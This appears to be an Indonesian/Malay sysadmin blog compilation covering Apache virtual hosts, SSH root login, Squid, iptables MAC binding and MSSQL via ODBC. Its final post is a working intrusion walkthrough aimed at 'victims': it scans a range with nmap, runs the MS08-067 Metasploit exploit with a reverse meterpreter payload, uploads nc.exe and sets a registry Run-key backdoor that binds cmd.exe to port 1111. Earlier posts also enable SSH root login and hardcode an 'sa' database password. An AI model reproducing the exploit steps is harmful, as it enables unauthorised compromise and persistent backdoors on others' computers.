How To Create Virtual Host On Ubuntu 14.04 Bagaimana Membuat Virtual Host Ubuntu

How To Create Virtual Host On Ubuntu 14.04 Bagaimana Membuat Virtual Host Ubuntu

Pertanyaan hari ini bagaimana membuat virtual host pada apache di ubuntu terbaru 14.04

Ada perbedaan pada ubuntu 14.04 yaitu pada file /etc/apache2/sites-available anda harus membuat file dengan extension .conf seperti contoh di bawah ini:

buat file pada /etc/apache2/sites-available dengan cara sebagai berikut:

cp 000-default.conf palembangcctv.conf

edit file palembangcctv.conf menjadi berikut:

<VirtualHost *:80>
# The ServerName directive sets the request scheme, hostname and port that
# the server uses to identify itself. This is used when creating
# redirection URLs. In the context of virtual hosts, the ServerName
# specifies what hostname must appear in the request’s Host: header to
# match this virtual host. For the default virtual host (this file) this
# value is not decisive as it is used as a last resort host regardless.
# However, you must set it for any further virtual host explicitly.
ServerName cctvpalembang.depobaja.com
ServerAlias palembangcctv.depobaja.com
ServerAdmin bundasunnatia@gmail.com
DocumentRoot /var/www/html/cvpangeran

# Available loglevels: trace8, …, trace1, debug, info, notice, warn,
# error, crit, alert, emerg.
# It is also possible to configure the loglevel for particular
# modules, e.g.
#LogLevel info ssl:warn

ErrorLog ${APACHE_LOG_DIR}/error.log
CustomLog ${APACHE_LOG_DIR}/access.log combined

# For most configuration files from conf-available/, which are
# enabled or disabled at a global level, it is possible to
# include a line for only one particular virtual host. For example the
# following line enables the CGI configuration for this host only
# after it has been globally disabled with “a2disconf”.
#Include conf-available/serve-cgi-bin.conf
</VirtualHost>

# vim: syntax=apache ts=4 sw=4 sts=4 sr noet

simpan file kemudian jalankan perintah a2ensite palembangcctv.conf

root@suryayusra:/etc/apache2/sites-available# a2ensite palembangcctv.conf
Enabling site palembangcctv.
To activate the new configuration, you need to run:
service apache2 reload

reload service apache

root@suryayusra:/etc/apache2/sites-available# service apache2 reload
* Reloading web server apache2 *
root@suryayusra:/etc/apache2/sites-available# service apache2 restart
* Restarting web server apache2 AH00112: Warning: DocumentRoot [/var/www/html/cvpangeran] does not exist
AH00558: apache2: Could not reliably determine the server’s fully qualified domain name, using 127.0.1.1. Set the ‘ServerName’ directive globally to suppress this message

Lakukan PING apakah server sudah merespon:

root@suryayusra:/etc/apache2/sites-available# ping palembangcctv.depobaja.com
PING palembangcctv.depobaja.com (118.97.174.155) 56(84) bytes of data.
64 bytes from 155.subnet118-97-174.static.astinet.telkom.net.id (118.97.174.155): icmp_seq=1 ttl=64 time=0.011 ms
64 bytes from 155.subnet118-97-174.static.astinet.telkom.net.id (118.97.174.155): icmp_seq=2 ttl=64 time=0.011 ms

Sebelumnya pada DNS rumahweb saya telah mengarahkan domain ke ip publik server

dns1

 

How To Enable SSH Root Login Ubuntu

Hiii saya akan telah mencoba menggunakan ubuntu 10.04 dan secara default SSH pada ubuntu 10.04 tidak membiarkan user menggunakan ssh pada user root.

Bagaimana merubah dan menjadikan ssh dapat menggunakan root login ?

setelah install ssh apt-get install openssh-server

edit file nano /etc/ssh/sshd_config

pada bagian:

# Authentication:
LoginGraceTime 120
PermitRootLogin without-password
StrictModes yes

edit menjadi

PermitRootLogin yes

simpan dan reload service ssh

service ssh reload

service ssh restart

Kunjungi Jurnal Dosen dan Mahasiswa Jurnal Mahasiswa Dosen UBD

 

Error XAMPP Ubuntu

Saya menemukan 2 dua error pada saat menjalankan service berikut:

  1. saat memberikan password xampp pada ubuntu
  2. error saat xampp melakukan restart apache fail

cuplikan error:

======================================

root@bbwss8-05:/opt/lampp# /opt/lampp/lampp security
XAMPP:  Quick security check…
XAMPP:  Your XAMPP pages are NOT secured by a password.
XAMPP: Do you want to set a password? [yes]
XAMPP: Password:
XAMPP: Password (again):
/opt/lampp/share/xampp/checkapache: line 41: /opt/lampp/htdocs/xampp/.htaccess: No such file or directory Continue reading

Setup Proxy Menggunakan Squid 3 squid3

Assalamualaikum,

pastikan mesin linux anda telah diinstall ubuntu 12 13 atau 14

dapat juga menggunakan OS centos 6.5 new diatasnya

jalankan perintah apt-get install squid3

pada file /etc/squid/squid.conf ini sebagai berikut:

#STAR CONFIG=========================================
# ACCESS CONTROLS OPTIONS
# ====================
#
acl QUERY urlpath_regex -i cgi-bin \? \.php$ \.asp$ \.shtml$ \.cfm$ \.cfml$ \.phtml$ \.php3$ localhost
acl all src
acl LAB src 10.237.0.0/16 # NETWORK LABOR
#acl to_localhost src 127.0.0.1/32
acl safeports port 21 70 80 210 280 443 488 563 591 631 777 901 81 3128 1025-65535
acl sslports port 443 563 81 2087 10000
#acl manager proto cache_object
acl purge method PURGE
acl connect method CONNECT
acl ym dstdomain .messenger.yahoo.com .psq.yahoo.com
acl ym dstdomain .us.il.yimg.com .msg.yahoo.com .pager.yahoo.com
acl ym dstdomain .rareedge.com .ytunnelpro.com .chat.yahoo.com
acl ym dstdomain .voice.yahoo.com
acl ymregex url_regex yupdater.yim ymsgr myspaceim

acl porno url_regex -i “/etc/squid3/blok-situs”
acl YT dstdomain .youtube.com

#
http_access deny ym
http_access deny ymregex
#http_access allow to_locallhost
#http_access deny manager Continue reading

Menambahkan Hard Disk Pada Sistem Operasi Linux

Assalamualaikum,

Cara menambahkan HDD pada linux:

1 pasang HDD SATA/SCSI/ATA pada mesin linux

2 deteksi dengan perintah lshw -C disk

*-disk
description: SCSI Disk
physical id: 0.0.0
bus info: scsi@4:0.0.0
logical name: /dev/sdb
size: 279GiB (300GB)
capabilities: gpt-1.00 partitioned partitioned:gpt
configuration: guid=948a39bb-7397-44cd-96fe-6d473ce46212 sectorsize=512
*-cdrom
description: DVD reader
product: DVD-ROM TS-H353C
vendor: TSSTcorp
physical id: 0.0.0
bus info: scsi@0:0.0.0
logical name: /dev/cdrom
logical name: /dev/sr0
version: LE01 Continue reading

Repository sources list Ubuntu 32 bit/64 bit untuk wilayah sumatera

Repository sources list Ubuntu untuk wilayah sumatera. Lebih dekat lebih baik.

sources.list Dapper Drake 6.06 LTS (Desktop/Server)
deb http://repo.binadarma.ac.id/ubuntu dapper main restricted universe multiverse
deb http://repo.binadarma.ac.id/ubuntu dapper-updates main restricted universe multiverse
deb http://repo.binadarma.ac.id/ubuntu dapper-security main restricted universe multiverse
deb http://repo.binadarma.ac.id/ubuntu dapper-backports main restricted universe multiverse
deb http://repo.binadarma.ac.id/ubuntu dapper-proposed main restricted universe multiverse

sources.list Hardy Heron 8.04 LTS (Desktop/Server)
deb http://repo.binadarma.ac.id/ubuntu hardy main restricted universe multiverse
deb http://repo.binadarma.ac.id/ubuntu hardy-updates main restricted universe multiverse
deb http://repo.binadarma.ac.id/ubuntu hardy-security main restricted universe multiverse
deb http://repo.binadarma.ac.id/ubuntu hardy-backports main restricted universe multiverse
deb http://repo.binadarma.ac.id/ubuntu hardy-proposed main restricted universe multiverse

sources.list Jaunty Jackalope 9.04 LTS (Desktop/Server)
deb http://repo.binadarma.ac.id/ubuntu jaunty main restricted universe multiverse
deb http://repo.binadarma.ac.id/ubuntu jaunty-updates main restricted universe multiverse
deb http://repo.binadarma.ac.id/ubuntu jaunty-security main restricted universe multiverse
deb http://repo.binadarma.ac.id/ubuntu jaunty-backports main restricted universe multiverse
deb http://repo.binadarma.ac.id/ubuntu jaunty-proposed main restricted universe multiverse

sources.list Karmic Koala 9.10 (Desktop/Server)
deb http://repo.binadarma.ac.id/ubuntu karmic main restricted universe multiverse
deb http://repo.binadarma.ac.id/ubuntu karmic-updates main restricted universe multiverse
deb http://repo.binadarma.ac.id/ubuntu karmic-security main restricted universe multiverse
deb http://repo.binadarma.ac.id/ubuntu karmic-backports main restricted universe multiverse
deb http://repo.binadarma.ac.id/ubuntu karmic-proposed main restricted universe multiverse

sources.list Lucid Lynx 10.04 LTS (Desktop/Server)
deb http://repo.binadarma.ac.id/ubuntu lucid main restricted universe multiverse
deb http://repo.binadarma.ac.id/ubuntu lucid-updates main restricted universe multiverse
deb http://repo.binadarma.ac.id/ubuntu lucid-security main restricted universe multiverse
deb http://repo.binadarma.ac.id/ubuntu lucid-backports main restricted universe multiverse
deb http://repo.binadarma.ac.id/ubuntu lucid-proposed main restricted universe multiverse

sources.list Maverick Meerkat 10.10 (Desktop/Server)
deb http://repo.binadarma.ac.id/ubuntu maverick main restricted universe multiverse
deb http://repo.binadarma.ac.id/ubuntu maverick-updates main restricted universe multiverse
deb http://repo.binadarma.ac.id/ubuntu maverick-security main restricted universe multiverse
deb http://repo.binadarma.ac.id/ubuntu maverick-backports main restricted universe multiverse
deb http://repo.binadarma.ac.id/ubuntu maverick-proposed main restricted universe multiverse

sources.list Natty Narwhal 11.04 LTS (Desktop/Server)
deb http://repo.binadarma.ac.id/ubuntu natty main restricted universe multiverse
deb http://repo.binadarma.ac.id/ubuntu natty-updates main restricted universe multiverse
deb http://repo.binadarma.ac.id/ubuntu natty-security main restricted universe multiverse
deb http://repo.binadarma.ac.id/ubuntu natty-backports main restricted universe multiverse
deb http://repo.binadarma.ac.id/ubuntu natty-proposed main restricted universe multiverse

sources.list Oneiric Ocelot Narwhal 11.10 (Desktop/Server)
deb http://repo.binadarma.ac.id/ubuntu/ oneiric main restricted universe multiverse
deb http://repo.binadarma.ac.id/ubuntu/ oneiric-updates main restricted universe multiverse
deb http://repo.binadarma.ac.id/ubuntu/ oneiric-security main restricted universe multiverse
deb http://repo.binadarma.ac.id/ubuntu/ oneiric-backports main restricted universe multiverse
deb http://repo.binadarma.ac.id/ubuntu/ oneiric-proposed main restricted universe multiverse

sources.list Precise Pangolin 12.04 (Desktop/Server)
deb http://repo.binadarma.ac.id/ubuntu/ precise main restricted universe multiverse
deb http://repo.binadarma.ac.id/ubuntu/ precise-updates main restricted universe multiverse
deb http://repo.binadarma.ac.id/ubuntu/ precise-security main restricted universe multiverse
deb http://repo.binadarma.ac.id/ubuntu/ precise-backports main restricted universe multiverse
deb http://repo.binadarma.ac.id/ubuntu/ precise-proposed main restricted universe multiverse

IPTABLES NAT MAC DAN IP ADDRESS “MENGUNCI MAC DENGAN IP ADDRESS STATIC”

Bagi admin jaringan mungkin hal yang menjengkelkan ketika ada masalah IP Konflik.  Kalau menggunakan setting manual resikonya kita harus mengingat-ingat setiap IP yang kita berikan kepada client-client kita. Kalo network kita kecil hal ini tidak jadi masalah. tapi kalau jaringan kita dalam skala besar selain tidak praktis juga faktor human error akan menjadi faktor yang bisa membuat jaringan kita kacau balau.

 

Alternatif lainnya kita dapat menggunakan DHCP sebagai pengatur dari prosep pemberian IP kepada client, dengan DHCP kita dapat memasangkan antara MAC address dengan IP tertentu, hasilnya kemungkinan human error dengan memberikan IP ganda dapat diminimalisir, dan beban kita sebagai admin akan terkurangi.

 

DHCP dapat melakukan pemasangan terhadap MAC dan IP Address, akan tetapi tidak dapat mencegah client yang melakukan setting secara manual. Kali usernya sudah rada pinter dan sedikit licik kita lumayan kerepotan. Senengnya jadi kutu loncat, pindah-pindah IP biar gak ketauan kalo sering download xxx  .

 

Disini tugas firewall, setelah sekian lama mencari-cari artikel tentang gimana memasangkan IP dengan Macnya akhirnya dapat di blog orang jogja juga  .

 

Saya coba dimensin saya yang Fedora dengan IPTABLES 1.3. Masukkan scriptnya di /etc/rc.local.

 

Ini seumpamanya saya memiliki komputer sebanyak 3 buah. dengan perincian sebagai berikut :

Komputer 1 dengan MAC : 00:90:DD:14:11:CF dan ingin diberi IP : 192.168.3.2

Komputer 2 dengan MAC : 01:90:DD:14:11:CG dan ingin diberi IP : 192.168.3.3

Komputer 3 dengan MAC : 02:90:DD:14:11:CH dan ingin diberi IP : 192.168.3.4

 

Skenarionya Kom 1 & 2 Terdaftar sebagai client kita, sedangkan kom 3 penyusup.

 

Okey, lets Go :

 

#blog semua prerouting dari eth0

iptables -I PREROUTING -t nat -i eth1 -j DROP

 

## SETINGGAN UNTUK KOMPUTER 1

 

#pasangkan MAC dengan IP

iptables -I PREROUTING -t nat -i eth1 -s 192.168.3.2

-m mac –mac-source 00:90:DD:14:11:CF -j ACCEPT

 

#blok MAC jika mengganti selain dengan IP yang asli

iptables -I FORWARD -i eth1 -s ! 192.168.3.2

-m mac –mac-source 00:90:DD:14:11:CF -j DROP

 

#drop prerouting IP 192.168.1.20 dengan mac address 00:90:DD:14:11:CF

#jika menggantinya dengan IP lain selain dari 192.168.3.2

iptables -I PREROUTING -t nat -s ! 192.168.3.2

-m mac –mac-source 00:90:DD:14:11:CF -j DROP

 

#SETTINGAN UNTUK KOMPUTER 2

#pasangkan MAC dengan IP

iptables -I PREROUTING -t nat -i eth1 -s 192.168.3.3

-m mac –mac-source 01:90:DD:14:11:CG -j ACCEPT

 

#blok MAC jika mengganti selain dengan IP yang asli

iptables -I FORWARD -i eth1 -s ! 192.168.3.3

-m mac –mac-source 01:90:DD:14:11:CG -j DROP

 

#drop prerouting IP 192.168.1.20 dengan mac address 00:90:DD:14:11:CF

#jika menggantinya dengan IP lain selain dari 192.168.3.3

iptables -I PREROUTING -t nat -s ! 192.168.3.3

-m mac –mac-source 01:90:DD:14:11:CG -j DROP

 

Karena komputer yang ketiga ilegal tentu kita gak usah masukin ke dalam rule kita, dengan pengaturan seperti diatas Komputer 1 akan terkoneksi ke jaringan kalau dia tetap mengunakan IP 192.168.3.2 kalau ganti IP, jangan harap  . Demikian juga dengan Kom 2, kalau selain itu akan di drop alias gak bisa masuk.

 

Trus apakah IP Conflik tetep ada : jawabanya iya.. lhoo.. hehehe, tapi setidaknya yang tau pindah-pindah IP akan berhenti untuk pindah-pindah IP. Toh gak ada gunannya dia pindah-pindah IP lagi  .

 

SUMBER: http://webcache.googleusercontent.com/search?q=cache:duJcTBvDXgYJ:mulyanto.net/%3Fp%3D82+iptables+NAT+mac+dan+ip&cd=2&hl=id&ct=clnk&gl=id

Connect to MSSQL in Centos with ODBC ; koneksi Ms SQL dari Centos menggunakan ODBC

Recently I have to connect to MSSQL to communicate between two server. One in Linux and the other one is Window Server. But this isn’t easy as work on localhost. As I know the xampp in window doesn’t have odbc driver b’coz it already there. Then after a while I managed to find the solution.
Here what i found:
Step 1:
Open Terminal
Step 2:
Install unixODBC and freetds
yum install unixODBC
yum install freetds
Step 3:
open the odbc.ini in etc folder and paste this code
[MSSQL]
Driver=FreeTDS
Description=MS SQL Test
Trace=No
Server= 121.0.0.1
Database= myDB
Port=1433
TDS_Version = 8.0
Note : Change the the server into your server (window).
Step 4:
open the odbcinst.ini in etc folder and paste this code
[FreeTDS]
Description = FreeTDS driver
Driver = /usr/lib64/libtdsodbc.so.0
Setup = /usr/lib64/libtdsS.so.2
Trace = Yes
TraceFile = /tmp/freetds.log
FileUsage = 1
UsageCount =1

[ODBC]
DEBUG=1
TraceFile=/root/sqltrace.log
Trace=Yes

Note : Please check the exact location for Driver/Setup in your Linux Server.
Step 5:
open the freetds.conf in etc folder and paste this code
[MSSQL]
host = 127.0.0.1
port = 1433
tds version = 8.0
Note : Change the the server into your server (window).
Step 6:
then you may test the connection with this code
isql -v MSSQL sa password
you will get this
[root@localhost]# isql -v MSSQL sa password
+—————————————+
| Connected!                                          |
|                                                             |
| sql-statement                                        |
| help [tablename]                                   |
| quit                                                       |
|                                                             |
+—————————————+
sa – refer to the username of the SQL authentication
password – refer to the password  of the SQL authentication
Step 7:
Create test page in php
<?php

// connect to DSN MSSQL with a user and password
$connect = odbc_connect(“MSSQL”, “sa”, “password”;) or die
(“couldn’t connect”;);

$result = odbc_exec($connect, “SELECT Identity_No, Name FROM dbo.user”;);
while(odbc_fetch_row($result)){
print(odbc_result($result, “Identity_No”;) .
‘ ‘ . odbc_result($result, “Name”;) . “<br>\n”;);
}
odbc_free_result($result);
odbc_close($connect);
?>

If you get the result, that mean you has successfully connected to MSSQL. But if you don’t, please try to recheck each of the file (freetds.conf, odbc.ini, odbcinst.ini) in their exact location. This state is the harder one, no one ever told me about the location. I got stuck in there also. But it did figure it out soon. Try to locate the odbc file with this
odbcinst -j
you will get this information about the ODBC driver that you install earlier.
unixODBC 2.2.11
DRIVERS…………: /etc/odbcinst.ini
SYSTEM DATA SOURCES: /etc/odbc.ini
USER DATA SOURCES..: /root/.odbc.ini
sumber : http://shasscript.blogspot.com/2012/02/connect-to-mssql-in-centos-with-odbc.html

Exploit nc.exe Backtrack 5

1. Buka terminal di Backtrack dan taip

Code:

# cp /pentest/windows-binaries/tools/nc.exe /root/Desktop/

Secara automaticnya di Desktop Backtrack anda akan muncul satu fail nc.exe

2. Kemudian buka terminal baru (New Tab), taipkan kata arahan NMap IP Address mangsa untuk melihat OS yang digunakan

Code:

# nmap -sS -O [IP_MANGSA]

kata arahan diatas digunakan jika anda mempunyai IP Address Mangsa anda

Code:

# nmap -sS -O 192.168.1.1-255

kata arahan diatas digunakan jika anda ingin mencari mangsa secara rawak

Quote:Untuk tutorial ini, anda memerlukan mangsa yang menggunakan OS Microsoft Windows XP sahaja!
3. Setelah anda mempunyai mangsa, buka metasploit di terminal baru anda

Code:

# msfconsole
4. Kemudian taipkan kata arahan dibawah

Code:

> use exploit/windows/smb/ms08_067_netapi

Code:

> set payload windows/meterpreter/reverse_tcp

Code:

> set LHOST [IP_anda]

Code:

> set RHOST [IP_mangsa]

Code:

> exploit
5. Biarkan ianya running sehinggalah anda berjaya mendapatkan SESSION mangsa. Anda berjaya mendapatkan SESSION mangsa apabila satu kata arahan keluar iaitu

Code:

meterpreter >
6. Setelah itu, taipkan kata arahan dibawah untuk memasukkan Backdoor nc.exe tadi ke dalam komputer mangsa

Code:

> upload /root/Desktop/nc.exe c:\\WINDOWS\\system32\\
7. Setelah proses muat naik selesai, sekarang ada proses untuk menyemak registry komputer mangsa

Code:

> reg enumkey -k HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\RUN

 

Quote:Proses ini juga untuk menjalankan Backdoor tadi setiap kali mangsa membuka komputer
8. Sekarang adalah proses untuk mendaftar backdoor nc.exe tadi ke registry komputer mangsa

Code:

> reg setval -k HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\RUN -v BACKDOOR -d c:\\WINDOWS\\system32\\nc.exe” -: -d -p 1111 -e cmd.exe”
9. Sekarang pula adalah proses untuk menyemak backdoor yang telah dimasukkan ke registry mangsa

Code:

> reg enumkey -k HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\Run

 

Quote:Anda akan mendapati Backdoor anda telah pon berada pada registry komputer mangsa
10. Reboot komputer mangsa

Code:

> reboot
11. Setelah komputer mangsa direboot, kini masanya untuk membuat penyambungan ke komputer mangsa dengan hanya menggunakan Backdoor kita tadi. Buka terminal anda dan taipkan kata arahan dibawah

Code:

# nc [IP_MANGSA] 1111
12. DONE! kini anda telah berada di System komputer mangsa.

 

download file nya disini Universitas Bina Darma Exploit nc-exe Backtrack 5

:iloveindonesia